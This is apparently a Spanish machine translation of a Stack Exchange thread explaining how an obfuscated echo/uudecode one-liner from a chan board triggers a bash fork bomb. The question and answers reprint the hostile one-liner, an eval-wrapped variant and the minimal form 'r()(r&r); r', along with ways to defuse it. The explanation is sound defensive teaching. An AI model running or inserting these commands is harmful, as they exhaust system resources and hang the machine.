Pregunta ¿Cómo y por qué esta cadena de texto es una bomba de tenedor?


Encontrado en un tablero de chan al azar:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

De alguna manera, al ejecutar esto, se produce un proceso de desbordamiento infinito que se dispara sin parar y detiene la máquina. Veo algo sobre "su" intentando ser ejecutado en numerosas ocasiones.

..que es extraño, porque yo solo esperaría que salga el texto, no la ejecución de nada.

Ejecutar este texto a través de un decodificador en línea solo me da un lote de spew binario:

uudecode result

¿Qué está haciendo realmente este lío de texto y hay una forma de verlo "con seguridad"?


129


origen


¿Por qué se ejecuta "su" varias veces? - Brent Washburne
Un consejo: no ejecute código de tableros de chan al azar y esté agradecido de que fuera solo una bomba de tenedor. - rr-
Je. Afortunadamente estaba en una VM instantánea hecha con el propósito expreso de jugar con basura posiblemente hostil como esta. - Mikey T.K.
Sé que esto no está relacionado con el tema, pero ¿es posible mencionar el foro y el contexto en el que se mencionó el comando? - Sebi
@Sebi - archive.rebeccablacktech.com/g/thread/45564403 - Pikamander2


Respuestas:


Primero, veamos el comando completo:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Contiene una cadena de comillas dobles que se hace eco de uudecode. Pero, tenga en cuenta que, dentro de la cadena de comillas dobles hay una citado nuevamente cuerda. Esta cadena se pone ejecutado. La cadena es:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Si miramos lo que contiene, vemos tres comandos:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Amaestrado expansión de la abrazadera en el comando del medio, tenemos:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

La primera línea intenta ejecutar un comando sin sentido en segundo plano. Esto no es importante.

La segunda línea es importante: define una función r que, cuando se ejecuta, lanza dos copias de sí mismo. Cada una de esas copias lanzaría, por supuesto, dos copias más. Y así.

La tercera línea corre r, comenzando la bomba tenedor.

El resto del código, fuera de la cadena citada atrás, no tiene sentido para la ofuscación.

Cómo ejecutar el comando sin peligro

Este código se puede ejecutar con seguridad si establecemos el límite en el nivel de anidación de la función. Esto se puede hacer con bash FUNCNEST variable. Aquí, lo configuramos para 2 y esto detiene la recursión:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Los mensajes de error anteriores muestran que (a) los comandos sin sentido rYWdl y Y29j no se encuentran, (b) la horquilla bomba se detiene repetidamente por FUNCNEST, y (c) la salida de echo no comienza con begin y, en consecuencia, no es una entrada válida para uudecode.

La bomba de tenedor en su forma más simple

¿Cómo se vería la bomba tenedor si eliminamos el oscurecimiento? Como sugieren njzk2 y gerrit, se vería así:

echo "`r()(r&r);r`"

Podemos simplificar eso aún más:

r()(r&r); r

Eso consiste en dos afirmaciones: una define la función de bomba de horquilla r y el segundo corre r.

Todo el otro código, incluida la tubería para uudecode, estaba allí solo por oscurecimiento y mala dirección.

La forma original tenía otra capa de mala dirección

El OP ha provisto un enlace a la discusión de la mesa directiva en la que apareció este código. Como se presentó allí, el código se veía así:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Observe uno de los primeros comentarios sobre este código:

Me enamoré de eso. Copió solo la parte que hace eco y decodifica, pero aún   tiene forkbombed

En la forma en el cartón chann, uno ingenuamente pensaría que el problema sería el eval declaración que funciona en la salida de uudecode. Esto llevaría a pensar que eliminar eval resolvería el problema Como hemos visto anteriormente, esto es falso y peligrosamente.


189



¡Tortuoso! Nunca pensé considerar la expansión / globbing de la concha en el medio de la cadena repetida. - Mikey T.K.
Creo que sería bueno tener en cuenta que uudecode es completamente irrelevante aquí. Por un momento pensé uudecode estaba realizando una interpolación de cadenas entre comillas, lo que la haría fundamentalmente insegura, pero la bomba tenedor ocurre antes de que uudecode comience. - gerrit
...y esta, señoras y señores, es por eso que la seguridad en los guiones de shell es tan duramente difícil. Incluso cosas totalmente inofensivas pueden matarte. (Imagínese si esta fue la entrada del usuario desde algún lugar ...) - MathematicalOrchid
@MathematicalOrchid En realidad, se necesita un esfuerzo no trivial para hacer que las cosas que se acaban de citar ingresen al usuario en un script de shell para que se ejecuten. Y si eres construyendo una secuencia de comandos de shell de la entrada del usuario que debe saber mejor que ponerlo entre comillas dobles. - Random832
@ njzk2 Aún necesitas una &ahí: echo "`r()(r&r);r`". - gerrit


Para responder la segunda parte de tu pregunta:

... ¿hay alguna manera de verlo "con seguridad"?

Para desactivar esta cadena, reemplaza las comillas dobles externas por comillas simples y escapa de las comillas simples que ocurren dentro de la cadena. De esta manera, el intérprete de órdenes no ejecutará ningún código, y en realidad estás pasando todo directamente a uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Otras alternativas se observan en los comentarios:

kasperd sugirió:

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Sugirió Jacob Krall para usar un editor de texto, pegue los contenidos, luego pase ese archivo a uudecode.


10



Alternativamente: escriba uudecode en la línea de comando. Presione enter. Copie y pegue la cadena que se decodificará. - kasperd
Otra alternativa: use un editor de texto para guardar los contenidos en un archivo. Abra ese archivo con uudecode. - Jacob Krall
Gracias a ambos, he notado esas alternativas en la respuesta. - gerrit
Asegúrate de verificar que la cadena no sea algo así como echo "foo`die`bar'`die`'baz" ¡primero! Es decir, si tiene alguna 's en él y luego reemplazar las comillas con comillas simples no será suficiente. - wchargin


A primera vista, podrías pensar que la salida al shell nunca se ejecutará. Esto es sigue siendo verdad. El problema ya está en el entrada. El truco principal aquí es lo que los programadores llaman precedencia del operador. Este es el orden en que el shell intenta procesar su entrada:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Componga la cadena ejecutando todos los comandos backticks dentro de ella.
  2. Por lo general, un comando desconocido, que causaría algunos resultados como Si 'rYWdl' no es un error tipográfico, puede usar command-not-found para buscar el paquete que lo contiene ... (depende del sistema)
  3. Ejecuta 2. en el fondo. Nunca verás una salida.
  4. Definir la función de bomba de tenedor.
  5. Separador de comandos
  6. Ejecuta la bomba de tenedor.
  7. Inserta el resultado de 6. en la Cadena. (Nosotros nunca venimos aquí)

El error es pensar que echo sería el primer comando para ser ejecutado, uudecode el segundo. Nunca se alcanzará a ambos.

Conclusión: Las comillas dobles siempre son peligrosas en el caparazón.


5